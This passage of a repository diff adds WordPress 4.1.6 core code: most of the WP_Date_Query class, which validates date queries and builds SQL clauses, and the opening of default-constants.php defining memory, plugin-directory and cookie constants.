+	 * Determine whether this is a first-order clause.
+	 *
+	 * Checks to see if the current clause has any time-related keys.
+	 * If so, it's first-order.
+	 *
+	 * @param  array $query Query clause.
+	 * @return bool True if this is a first-order clause.
+	 */
+	protected function is_first_order_clause( $query ) {
+		$time_keys = array_intersect( $this->time_keys, array_keys( $query ) );
+		return ! empty( $time_keys );
+	}
+
+	/**
+	 * Determines and validates what comparison operator to use.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 *
+	 * @param array $query A date query or a date subquery.
+	 * @return string The comparison operator.
+	 */
+	public function get_compare( $query ) {
+		if ( ! empty( $query['compare'] ) && in_array( $query['compare'], array( '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) )
+			return strtoupper( $query['compare'] );
+
+		return $this->compare;
+	}
+
+	/**
+	 * Validates the given date_query values and triggers errors if something is not valid.
+	 *
+	 * Note that date queries with invalid date ranges are allowed to
+	 * continue (though of course no items will be found for impossible dates).
+	 * This method only generates debug notices for these cases.
+	 *
+	 * @since  4.1.0
+	 * @access public
+	 *
+	 * @param  array $date_query The date_query array.
+	 * @return bool  True if all values in the query are valid, false if one or more fail.
+	 */
+	public function validate_date_values( $date_query = array() ) {
+		if ( empty( $date_query ) ) {
+			return false;
+		}
+
+		$valid = true;
+
+		/*
+		 * Validate 'before' and 'after' up front, then let the
+		 * validation routine continue to be sure that all invalid
+		 * values generate errors too.
+		 */
+		if ( array_key_exists( 'before', $date_query ) && is_array( $date_query['before'] ) ){
+			$valid = $this->validate_date_values( $date_query['before'] );
+		}
+
+		if ( array_key_exists( 'after', $date_query ) && is_array( $date_query['after'] ) ){
+			$valid = $this->validate_date_values( $date_query['after'] );
+		}
+
+		// Array containing all min-max checks.
+		$min_max_checks = array();
+
+		// Days per year.
+		if ( array_key_exists( 'year', $date_query ) ) {
+			/*
+			 * If a year exists in the date query, we can use it to get the days.
+			 * If multiple years are provided (as in a BETWEEN), use the first one.
+			 */
+			if ( is_array( $date_query['year'] ) ) {
+				$_year = reset( $date_query['year'] );
+			} else {
+				$_year = $date_query['year'];
+			}
+
+			$max_days_of_year = date( 'z', mktime( 0, 0, 0, 12, 31, $_year ) ) + 1;
+		} else {
+			// otherwise we use the max of 366 (leap-year)
+			$max_days_of_year = 366;
+		}
+
+		$min_max_checks['dayofyear'] = array(
+			'min' => 1,
+			'max' => $max_days_of_year
+		);
+
+		// Days per week.
+		$min_max_checks['dayofweek'] = array(
+			'min' => 1,
+			'max' => 7
+		);
+
+		// Days per week.
+		$min_max_checks['dayofweek_iso'] = array(
+			'min' => 1,
+			'max' => 7
+		);
+
+		// Months per year.
+		$min_max_checks['month'] = array(
+			'min' => 1,
+			'max' => 12
+		);
+
+		// Weeks per year.
+		if ( isset( $_year ) ) {
+			// If we have a specific year, use it to calculate number of weeks.
+			$date = new DateTime();
+			$date->setISODate( $_year, 53 );
+			$week_count = $date->format( "W" ) === "53" ? 53 : 52;
+
+		} else {
+			// Otherwise set the week-count to a maximum of 53.
+			$week_count = 53;
+		}
+
+		$min_max_checks['week'] = array(
+			'min' => 1,
+			'max' => $week_count
+		);
+
+		// Days per month.
+		$min_max_checks['day'] = array(
+			'min' => 1,
+			'max' => 31
+		);
+
+		// Hours per day.
+		$min_max_checks['hour'] = array(
+			'min' => 0,
+			'max' => 23
+		);
+
+		// Minutes per hour.
+		$min_max_checks['minute'] = array(
+			'min' => 0,
+			'max' => 59
+		);
+
+		// Seconds per minute.
+		$min_max_checks['second'] = array(
+			'min' => 0,
+			'max' => 59
+		);
+
+		// Concatenate and throw a notice for each invalid value.
+		foreach ( $min_max_checks as $key => $check ) {
+			if ( ! array_key_exists( $key, $date_query ) ) {
+				continue;
+			}
+
+			// Throw a notice for each failing value.
+			$is_between = true;
+			foreach ( (array) $date_query[ $key ] as $_value ) {
+				$is_between = $_value >= $check['min'] && $_value <= $check['max'];
+
+				if ( ! is_numeric( $_value ) || ! $is_between ) {
+					$error = sprintf(
+						/* translators: Date query invalid date message: 1: invalid value, 2: type of value, 3: minimum valid value, 4: maximum valid value */
+						__( 'Invalid value %1$s for %2$s. Expected value should be between %3$s and %4$s.' ),
+						'<code>' . esc_html( $_value ) . '</code>',
+						'<code>' . esc_html( $key ) . '</code>',
+						'<code>' . esc_html( $check['min'] ) . '</code>',
+						'<code>' . esc_html( $check['max'] ) . '</code>'
+					);
+
+					_doing_it_wrong( __CLASS__, $error, '4.1.0' );
+
+					$valid = false;
+				}
+			}
+		}
+
+		// If we already have invalid date messages, don't bother running through checkdate().
+		if ( ! $valid ) {
+			return $valid;
+		}
+
+		$day_month_year_error_msg = '';
+
+		$day_exists   = array_key_exists( 'day', $date_query ) && is_numeric( $date_query['day'] );
+		$month_exists = array_key_exists( 'month', $date_query ) && is_numeric( $date_query['month'] );
+		$year_exists  = array_key_exists( 'year', $date_query ) && is_numeric( $date_query['year'] );
+
+		if ( $day_exists && $month_exists && $year_exists ) {
+			// 1. Checking day, month, year combination.
+			if ( ! wp_checkdate( $date_query['month'], $date_query['day'], $date_query['year'], sprintf( '%s-%s-%s', $date_query['year'], $date_query['month'], $date_query['day'] ) ) ) {
+				/* translators: 1: year, 2: month, 3: day of month */
+				$day_month_year_error_msg = sprintf(
+					__( 'The following values do not describe a valid date: year %1$s, month %2$s, day %3$s.' ),
+					'<code>' . esc_html( $date_query['year'] ) . '</code>',
+					'<code>' . esc_html( $date_query['month'] ) . '</code>',
+					'<code>' . esc_html( $date_query['day'] ) . '</code>'
+				);
+
+				$valid = false;
+			}
+
+		} else if ( $day_exists && $month_exists ) {
+			/*
+			 * 2. checking day, month combination
+			 * We use 2012 because, as a leap year, it's the most permissive.
+			 */
+			if ( ! wp_checkdate( $date_query['month'], $date_query['day'], 2012, sprintf( '2012-%s-%s', $date_query['month'], $date_query['day'] ) ) ) {
+				/* translators: 1: month, 2: day of month */
+				$day_month_year_error_msg = sprintf(
+					__( 'The following values do not describe a valid date: month %1$s, day %2$s.' ),
+					'<code>' . esc_html( $date_query['month'] ) . '</code>',
+					'<code>' . esc_html( $date_query['day'] ) . '</code>'
+				);
+
+				$valid = false;
+			}
+		}
+
+		if ( ! empty( $day_month_year_error_msg ) ) {
+			_doing_it_wrong( __CLASS__, $day_month_year_error_msg, '4.1.0' );
+		}
+
+		return $valid;
+	}
+
+	/**
+	 * Validates a column name parameter.
+	 *
+	 * Column names without a table prefix (like 'post_date') are checked against a whitelist of
+	 * known tables, and then, if found, have a table prefix (such as 'wp_posts.') prepended.
+	 * Prefixed column names (such as 'wp_posts.post_date') bypass this whitelist check,
+	 * and are only sanitized to remove illegal characters.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 *
+	 * @param string $column The user-supplied column name.
+	 * @return string A validated column name value.
+	 */
+	public function validate_column( $column ) {
+		global $wpdb;
+
+		$valid_columns = array(
+			'post_date', 'post_date_gmt', 'post_modified',
+			'post_modified_gmt', 'comment_date', 'comment_date_gmt',
+			'user_registered',
+		);
+
+		// Attempt to detect a table prefix.
+		if ( false === strpos( $column, '.' ) ) {
+			/**
+			 * Filter the list of valid date query columns.
+			 *
+			 * @since 3.7.0
+			 * @since 4.1.0 Added 'user_registered' to the default recognized columns.
+			 *
+			 * @param array $valid_columns An array of valid date query columns. Defaults
+			 *                             are 'post_date', 'post_date_gmt', 'post_modified',
+			 *                             'post_modified_gmt', 'comment_date', 'comment_date_gmt',
+			 *	                           'user_registered'
+			 */
+			if ( ! in_array( $column, apply_filters( 'date_query_valid_columns', $valid_columns ) ) ) {
+				$column = 'post_date';
+			}
+
+			$known_columns = array(
+				$wpdb->posts => array(
+					'post_date',
+					'post_date_gmt',
+					'post_modified',
+					'post_modified_gmt',
+				),
+				$wpdb->comments => array(
+					'comment_date',
+					'comment_date_gmt',
+				),
+				$wpdb->users => array(
+					'user_registered',
+				),
+			);
+
+			// If it's a known column name, add the appropriate table prefix.
+			foreach ( $known_columns as $table_name => $table_columns ) {
+				if ( in_array( $column, $table_columns ) ) {
+					$column = $table_name . '.' . $column;
+					break;
+				}
+			}
+
+		}
+
+		// Remove unsafe characters.
+		return preg_replace( '/[^a-zA-Z0-9_$\.]/', '', $column );
+	}
+
+	/**
+	 * Generate WHERE clause to be appended to a main query.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 *
+	 * @return string MySQL WHERE clause.
+	 */
+	public function get_sql() {
+		$sql = $this->get_sql_clauses();
+
+		$where = $sql['where'];
+
+		/**
+		 * Filter the date query WHERE clause.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param string        $where WHERE clause of the date query.
+		 * @param WP_Date_Query $this  The WP_Date_Query instance.
+		 */
+		return apply_filters( 'get_date_sql', $where, $this );
+	}
+
+	/**
+	 * Generate SQL clauses to be appended to a main query.
+	 *
+	 * Called by the public {@see WP_Date_Query::get_sql()}, this method
+	 * is abstracted out to maintain parity with the other Query classes.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_clauses() {
+		$sql = $this->get_sql_for_query( $this->queries );
+
+		if ( ! empty( $sql['where'] ) ) {
+			$sql['where'] = ' AND ' . $sql['where'];
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL clauses for a single query array.
+	 *
+	 * If nested subqueries are found, this method recurses the tree to
+	 * produce the properly nested SQL.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param array $query Query to parse.
+	 * @param int   $depth Optional. Number of tree levels deep we currently are.
+	 *                     Used to calculate indentation. Default 0.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_query( $query, $depth = 0 ) {
+		$sql_chunks = array(
+			'join'  => array(),
+			'where' => array(),
+		);
+
+		$sql = array(
+			'join'  => '',
+			'where' => '',
+		);
+
+		$indent = '';
+		for ( $i = 0; $i < $depth; $i++ ) {
+			$indent .= "  ";
+		}
+
+		foreach ( $query as $key => $clause ) {
+			if ( 'relation' === $key ) {
+				$relation = $query['relation'];
+			} else if ( is_array( $clause ) ) {
+
+				// This is a first-order clause.
+				if ( $this->is_first_order_clause( $clause ) ) {
+					$clause_sql = $this->get_sql_for_clause( $clause, $query );
+
+					$where_count = count( $clause_sql['where'] );
+					if ( ! $where_count ) {
+						$sql_chunks['where'][] = '';
+					} else if ( 1 === $where_count ) {
+						$sql_chunks['where'][] = $clause_sql['where'][0];
+					} else {
+						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
+					}
+
+					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
+				// This is a subquery, so we recurse.
+				} else {
+					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
+
+					$sql_chunks['where'][] = $clause_sql['where'];
+					$sql_chunks['join'][]  = $clause_sql['join'];
+				}
+			}
+		}
+
+		// Filter to remove empties.
+		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
+		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );
+
+		if ( empty( $relation ) ) {
+			$relation = 'AND';
+		}
+
+		// Filter duplicate JOIN clauses and combine into a single string.
+		if ( ! empty( $sql_chunks['join'] ) ) {
+			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
+		}
+
+		// Generate a single WHERE clause with proper brackets and indentation.
+		if ( ! empty( $sql_chunks['where'] ) ) {
+			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Turns a single date clause into pieces for a WHERE clause.
+	 *
+	 * A wrapper for get_sql_for_clause(), included here for backward
+	 * compatibility while retaining the naming convention across Query classes.
+	 *
+	 * @since  3.7.0
+	 * @access protected
+	 *
+	 * @param  array $query Date query arguments.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_subquery( $query ) {
+		return $this->get_sql_for_clause( $query, '' );
+	}
+
+	/**
+	 * Turns a first-order date query into SQL for a WHERE clause.
+	 *
+	 * @since  4.1.0
+	 * @access protected
+	 *
+	 * @param  array $query        Date query clause.
+	 * @param  array $parent_query Parent query of the current date query.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_clause( $query, $parent_query ) {
+		global $wpdb;
+
+		// The sub-parts of a $where part.
+		$where_parts = array();
+
+		$column = ( ! empty( $query['column'] ) ) ? esc_sql( $query['column'] ) : $this->column;
+
+		$column = $this->validate_column( $column );
+
+		$compare = $this->get_compare( $query );
+
+		$inclusive = ! empty( $query['inclusive'] );
+
+		// Assign greater- and less-than values.
+		$lt = '<';
+		$gt = '>';
+
+		if ( $inclusive ) {
+			$lt .= '=';
+			$gt .= '=';
+		}
+
+		// Range queries.
+		if ( ! empty( $query['after'] ) )
+			$where_parts[] = $wpdb->prepare( "$column $gt %s", $this->build_mysql_datetime( $query['after'], ! $inclusive ) );
+
+		if ( ! empty( $query['before'] ) )
+			$where_parts[] = $wpdb->prepare( "$column $lt %s", $this->build_mysql_datetime( $query['before'], $inclusive ) );
+
+		// Specific value queries.
+
+		if ( isset( $query['year'] ) && $value = $this->build_value( $compare, $query['year'] ) )
+			$where_parts[] = "YEAR( $column ) $compare $value";
+
+		if ( isset( $query['month'] ) && $value = $this->build_value( $compare, $query['month'] ) )
+			$where_parts[] = "MONTH( $column ) $compare $value";
+		else if ( isset( $query['monthnum'] ) && $value = $this->build_value( $compare, $query['monthnum'] ) )
+			$where_parts[] = "MONTH( $column ) $compare $value";
+
+		if ( isset( $query['week'] ) && false !== ( $value = $this->build_value( $compare, $query['week'] ) ) )
+			$where_parts[] = _wp_mysql_week( $column ) . " $compare $value";
+		else if ( isset( $query['w'] ) && false !== ( $value = $this->build_value( $compare, $query['w'] ) ) )
+			$where_parts[] = _wp_mysql_week( $column ) . " $compare $value";
+
+		if ( isset( $query['dayofyear'] ) && $value = $this->build_value( $compare, $query['dayofyear'] ) )
+			$where_parts[] = "DAYOFYEAR( $column ) $compare $value";
+
+		if ( isset( $query['day'] ) && $value = $this->build_value( $compare, $query['day'] ) )
+			$where_parts[] = "DAYOFMONTH( $column ) $compare $value";
+
+		if ( isset( $query['dayofweek'] ) && $value = $this->build_value( $compare, $query['dayofweek'] ) )
+			$where_parts[] = "DAYOFWEEK( $column ) $compare $value";
+
+		if ( isset( $query['dayofweek_iso'] ) && $value = $this->build_value( $compare, $query['dayofweek_iso'] ) )
+			$where_parts[] = "WEEKDAY( $column ) + 1 $compare $value";
+
+		if ( isset( $query['hour'] ) || isset( $query['minute'] ) || isset( $query['second'] ) ) {
+			// Avoid notices.
+			foreach ( array( 'hour', 'minute', 'second' ) as $unit ) {
+				if ( ! isset( $query[ $unit ] ) ) {
+					$query[ $unit ] = null;
+				}
+			}
+
+			if ( $time_query = $this->build_time_query( $column, $compare, $query['hour'], $query['minute'], $query['second'] ) ) {
+				$where_parts[] = $time_query;
+			}
+		}
+
+		/*
+		 * Return an array of 'join' and 'where' for compatibility
+		 * with other query classes.
+		 */
+		return array(
+			'where' => $where_parts,
+			'join'  => array(),
+		);
+	}
+
+	/**
+	 * Builds and validates a value string based on the comparison operator.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 *
+	 * @param string $compare The compare operator to use
+	 * @param string|array $value The value
+	 * @return string|false|int The value to be used in SQL or false on error.
+	 */
+	public function build_value( $compare, $value ) {
+		if ( ! isset( $value ) )
+			return false;
+
+		switch ( $compare ) {
+			case 'IN':
+			case 'NOT IN':
+				$value = (array) $value;
+
+				// Remove non-numeric values.
+				$value = array_filter( $value, 'is_numeric' );
+
+				if ( empty( $value ) ) {
+					return false;
+				}
+
+				return '(' . implode( ',', array_map( 'intval', $value ) ) . ')';
+
+			case 'BETWEEN':
+			case 'NOT BETWEEN':
+				if ( ! is_array( $value ) || 2 != count( $value ) ) {
+					$value = array( $value, $value );
+				} else {
+					$value = array_values( $value );
+				}
+
+				// If either value is non-numeric, bail.
+				foreach ( $value as $v ) {
+					if ( ! is_numeric( $v ) ) {
+						return false;
+					}
+				}
+
+				$value = array_map( 'intval', $value );
+
+				return $value[0] . ' AND ' . $value[1];
+
+			default;
+				if ( ! is_numeric( $value ) ) {
+					return false;
+				}
+
+				return (int) $value;
+		}
+	}
+
+	/**
+	 * Builds a MySQL format date/time based on some query parameters.
+	 *
+	 * You can pass an array of values (year, month, etc.) with missing parameter values being defaulted to
+	 * either the maximum or minimum values (controlled by the $default_to parameter). Alternatively you can
+	 * pass a string that that will be run through strtotime().
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 *
+	 * @param string|array $datetime       An array of parameters or a strotime() string
+	 * @param bool         $default_to_max Whether to round up incomplete dates. Supported by values
+	 *                                     of $datetime that are arrays, or string values that are a
+	 *                                     subset of MySQL date format ('Y', 'Y-m', 'Y-m-d', 'Y-m-d H:i').
+	 *                                     Default: false.
+	 * @return string|false A MySQL format date/time or false on failure
+	 */
+	public function build_mysql_datetime( $datetime, $default_to_max = false ) {
+		$now = current_time( 'timestamp' );
+
+		if ( ! is_array( $datetime ) ) {
+
+			/*
+			 * Try to parse some common date formats, so we can detect
+			 * the level of precision and support the 'inclusive' parameter.
+			 */
+			if ( preg_match( '/^(\d{4})$/', $datetime, $matches ) ) {
+				// Y
+				$datetime = array(
+					'year' => intval( $matches[1] ),
+				);
+
+			} else if ( preg_match( '/^(\d{4})\-(\d{2})$/', $datetime, $matches ) ) {
+				// Y-m
+				$datetime = array(
+					'year'  => intval( $matches[1] ),
+					'month' => intval( $matches[2] ),
+				);
+
+			} else if ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2})$/', $datetime, $matches ) ) {
+				// Y-m-d
+				$datetime = array(
+					'year'  => intval( $matches[1] ),
+					'month' => intval( $matches[2] ),
+					'day'   => intval( $matches[3] ),
+				);
+
+			} else if ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2}) (\d{2}):(\d{2})$/', $datetime, $matches ) ) {
+				// Y-m-d H:i
+				$datetime = array(
+					'year'   => intval( $matches[1] ),
+					'month'  => intval( $matches[2] ),
+					'day'    => intval( $matches[3] ),
+					'hour'   => intval( $matches[4] ),
+					'minute' => intval( $matches[5] ),
+				);
+			}
+
+			// If no match is found, we don't support default_to_max.
+			if ( ! is_array( $datetime ) ) {
+				// @todo Timezone issues here possibly
+				return gmdate( 'Y-m-d H:i:s', strtotime( $datetime, $now ) );
+			}
+		}
+
+		$datetime = array_map( 'absint', $datetime );
+
+		if ( ! isset( $datetime['year'] ) )
+			$datetime['year'] = gmdate( 'Y', $now );
+
+		if ( ! isset( $datetime['month'] ) )
+			$datetime['month'] = ( $default_to_max ) ? 12 : 1;
+
+		if ( ! isset( $datetime['day'] ) )
+			$datetime['day'] = ( $default_to_max ) ? (int) date( 't', mktime( 0, 0, 0, $datetime['month'], 1, $datetime['year'] ) ) : 1;
+
+		if ( ! isset( $datetime['hour'] ) )
+			$datetime['hour'] = ( $default_to_max ) ? 23 : 0;
+
+		if ( ! isset( $datetime['minute'] ) )
+			$datetime['minute'] = ( $default_to_max ) ? 59 : 0;
+
+		if ( ! isset( $datetime['second'] ) )
+			$datetime['second'] = ( $default_to_max ) ? 59 : 0;
+
+		return sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $datetime['year'], $datetime['month'], $datetime['day'], $datetime['hour'], $datetime['minute'], $datetime['second'] );
+	}
+
+	/**
+	 * Builds a query string for comparing time values (hour, minute, second).
+	 *
+	 * If just hour, minute, or second is set than a normal comparison will be done.
+	 * However if multiple values are passed, a pseudo-decimal time will be created
+	 * in order to be able to accurately compare against.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 *
+	 * @param string $column The column to query against. Needs to be pre-validated!
+	 * @param string $compare The comparison operator. Needs to be pre-validated!
+	 * @param int|null $hour Optional. An hour value (0-23).
+	 * @param int|null $minute Optional. A minute value (0-59).
+	 * @param int|null $second Optional. A second value (0-59).
+	 * @return string|false A query part or false on failure.
+	 */
+	public function build_time_query( $column, $compare, $hour = null, $minute = null, $second = null ) {
+		global $wpdb;
+
+		// Have to have at least one
+		if ( ! isset( $hour ) && ! isset( $minute ) && ! isset( $second ) )
+			return false;
+
+		// Complex combined queries aren't supported for multi-value queries
+		if ( in_array( $compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) ) {
+			$return = array();
+
+			if ( isset( $hour ) && false !== ( $value = $this->build_value( $compare, $hour ) ) )
+				$return[] = "HOUR( $column ) $compare $value";
+
+			if ( isset( $minute ) && false !== ( $value = $this->build_value( $compare, $minute ) ) )
+				$return[] = "MINUTE( $column ) $compare $value";
+
+			if ( isset( $second ) && false !== ( $value = $this->build_value( $compare, $second ) ) )
+				$return[] = "SECOND( $column ) $compare $value";
+
+			return implode( ' AND ', $return );
+		}
+
+		// Cases where just one unit is set
+		if ( isset( $hour ) && ! isset( $minute ) && ! isset( $second ) && false !== ( $value = $this->build_value( $compare, $hour ) ) ) {
+			return "HOUR( $column ) $compare $value";
+		} elseif ( ! isset( $hour ) && isset( $minute ) && ! isset( $second ) && false !== ( $value = $this->build_value( $compare, $minute ) ) ) {
+			return "MINUTE( $column ) $compare $value";
+		} elseif ( ! isset( $hour ) && ! isset( $minute ) && isset( $second ) && false !== ( $value = $this->build_value( $compare, $second ) ) ) {
+			return "SECOND( $column ) $compare $value";
+		}
+
+		// Single units were already handled. Since hour & second isn't allowed, minute must to be set.
+		if ( ! isset( $minute ) )
+			return false;
+
+		$format = $time = '';
+
+		// Hour
+		if ( $hour ) {
+			$format .= '%H.';
+			$time   .= sprintf( '%02d', $hour ) . '.';
+		} else {
+			$format .= '0.';
+			$time   .= '0.';
+		}
+
+		// Minute
+		$format .= '%i';
+		$time   .= sprintf( '%02d', $minute );
+
+		if ( isset( $second ) ) {
+			$format .= '%s';
+			$time   .= sprintf( '%02d', $second );
+		}
+
+		return $wpdb->prepare( "DATE_FORMAT( $column, %s ) $compare %f", $format, $time );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/default-constants.php
===================================================================
--- /tags/4.1.6/src/wp-includes/default-constants.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/default-constants.php	(revision 33402)
@@ -0,0 +1,323 @@
+<?php
+/**
+ * Defines constants and global variables that can be overridden, generally in wp-config.php.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Defines initial WordPress constants
+ *
+ * @see wp_debug_mode()
+ *
+ * @since 3.0.0
+ */
+function wp_initial_constants() {
+	global $blog_id;
+
+	// set memory limits
+	if ( !defined('WP_MEMORY_LIMIT') ) {
+		if( is_multisite() ) {
+			define('WP_MEMORY_LIMIT', '64M');
+		} else {
+			define('WP_MEMORY_LIMIT', '40M');
+		}
+	}
+
+	if ( ! defined( 'WP_MAX_MEMORY_LIMIT' ) ) {
+		define( 'WP_MAX_MEMORY_LIMIT', '256M' );
+	}
+
+	/**
+	 * The $blog_id global, which you can change in the config allows you to create a simple
+	 * multiple blog installation using just one WordPress and changing $blog_id around.
+	 *
+	 * @global int $blog_id
+	 * @since 2.0.0
+	 */
+	if ( ! isset($blog_id) )
+		$blog_id = 1;
+
+	// set memory limits.
+	if ( function_exists( 'memory_get_usage' ) ) {
+		$current_limit = @ini_get( 'memory_limit' );
+		$current_limit_int = intval( $current_limit );
+		if ( false !== strpos( $current_limit, 'G' ) )
+			$current_limit_int *= 1024;
+		$wp_limit_int = intval( WP_MEMORY_LIMIT );
+		if ( false !== strpos( WP_MEMORY_LIMIT, 'G' ) )
+			$wp_limit_int *= 1024;
+
+		if ( -1 != $current_limit && ( -1 == WP_MEMORY_LIMIT || $current_limit_int < $wp_limit_int ) )
+			@ini_set( 'memory_limit', WP_MEMORY_LIMIT );
+	}
+
+	if ( !defined('WP_CONTENT_DIR') )
+		define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // no trailing slash, full paths only - WP_CONTENT_URL is defined further down
+
+	// Add define('WP_DEBUG', true); to wp-config.php to enable display of notices during development.
+	if ( !defined('WP_DEBUG') )
+		define( 'WP_DEBUG', false );
+
+	// Add define('WP_DEBUG_DISPLAY', null); to wp-config.php use the globally configured setting for
+	// display_errors and not force errors to be displayed. Use false to force display_errors off.
+	if ( !defined('WP_DEBUG_DISPLAY') )
+		define( 'WP_DEBUG_DISPLAY', true );
+
+	// Add define('WP_DEBUG_LOG', true); to enable error logging to wp-content/debug.log.
+	if ( !defined('WP_DEBUG_LOG') )
+		define('WP_DEBUG_LOG', false);
+
+	if ( !defined('WP_CACHE') )
+		define('WP_CACHE', false);
+
+	/**
+	 * Private
+	 */
+	if ( !defined('MEDIA_TRASH') )
+		define('MEDIA_TRASH', false);
+
+	if ( !defined('SHORTINIT') )
+		define('SHORTINIT', false);
+
+	// Constants for expressing human-readable intervals
+	// in their respective number of seconds.
+	define( 'MINUTE_IN_SECONDS', 60 );
+	define( 'HOUR_IN_SECONDS',   60 * MINUTE_IN_SECONDS );
+	define( 'DAY_IN_SECONDS',    24 * HOUR_IN_SECONDS   );
+	define( 'WEEK_IN_SECONDS',    7 * DAY_IN_SECONDS    );
+	define( 'YEAR_IN_SECONDS',  365 * DAY_IN_SECONDS    );
+}
+
+/**
+ * Defines plugin directory WordPress constants
+ *
+ * Defines must-use plugin directory constants, which may be overridden in the sunrise.php drop-in
+ *
+ * @since 3.0.0
+ */
+function wp_plugin_directory_constants() {
+	if ( !defined('WP_CONTENT_URL') )
+		define( 'WP_CONTENT_URL', get_option('siteurl') . '/wp-content'); // full url - WP_CONTENT_DIR is defined further up
+
+	/**
+	 * Allows for the plugins directory to be moved from the default location.
+	 *
+	 * @since 2.6.0
+	 */
+	if ( !defined('WP_PLUGIN_DIR') )
+		define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // full path, no trailing slash
+
+	/**
+	 * Allows for the plugins directory to be moved from the default location.
+	 *
+	 * @since 2.6.0
+	 */
+	if ( !defined('WP_PLUGIN_URL') )
+		define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // full url, no trailing slash
+
+	/**
+	 * Allows for the plugins directory to be moved from the default location.
+	 *
+	 * @since 2.1.0
+	 * @deprecated
+	 */
+	if ( !defined('PLUGINDIR') )
+		define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH. For back compat.
+
+	/**
+	 * Allows for the mu-plugins directory to be moved from the default location.
+	 *
+	 * @since 2.8.0
+	 */
+	if ( !defined('WPMU_PLUGIN_DIR') )
+		define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // full path, no trailing slash
+
+	/**
+	 * Allows for the mu-plugins directory to be moved from the default location.
+	 *
+	 * @since 2.8.0
+	 */
+	if ( !defined('WPMU_PLUGIN_URL') )
+		define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // full url, no trailing slash
+
+	/**
+	 * Allows for the mu-plugins directory to be moved from the default location.
+	 *
+	 * @since 2.8.0
+	 * @deprecated
+	 */
+	if ( !defined( 'MUPLUGINDIR' ) )
+		define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH. For back compat.
+}
+
+/**
+ * Defines cookie related WordPress constants
+ *
+ * Defines constants after multisite is loaded. Cookie-related constants may be overridden in ms_network_cookies().
+ * @since 3.0.0
+ */
+function wp_cookie_constants() {
+	/**
+	 * Used to guarantee unique hash cookies
+	 *
+	 * @since 1.5.0
+	 */
+	if ( !defined( 'COOKIEHASH' ) ) {
+		$siteurl = get_site_option( 'siteurl' );
+		if ( $siteurl )
+			define( 'COOKIEHASH', md5( $siteurl ) );
+		else
+			define( 'COOKIEHASH', '' );
+	}
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('USER_COOKIE') )
+		define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('PASS_COOKIE') )
+		define('PASS_COOKIE', 'wordpresspass_' . COOKIEHASH);
+
+	/**
+	 * @since 2.5.0
+	 */
+	if ( !defined('AUTH_COOKIE') )
+		define('AUTH_COOKIE', 'wordpress_' . COOKIEHASH);
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('SECURE_AUTH_COOKIE') )
+		define('SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH);
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('LOGGED_IN_COOKIE') )
+		define('LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH);
+
+	/**
+	 * @since 2.3.0
+	 */
+	if ( !defined('TEST_COOKIE') )
+		define('TEST_COOKIE', 'wordpress_test_cookie');
+
+	/**
+	 * @since 1.2.0
+	 */
+	if ( !defined('COOKIEPATH') )
+		define('COOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('home') . '/' ) );
+
+	/**
+	 * @since 1.5.0
+	 */
+	if ( !defined('SITECOOKIEPATH') )
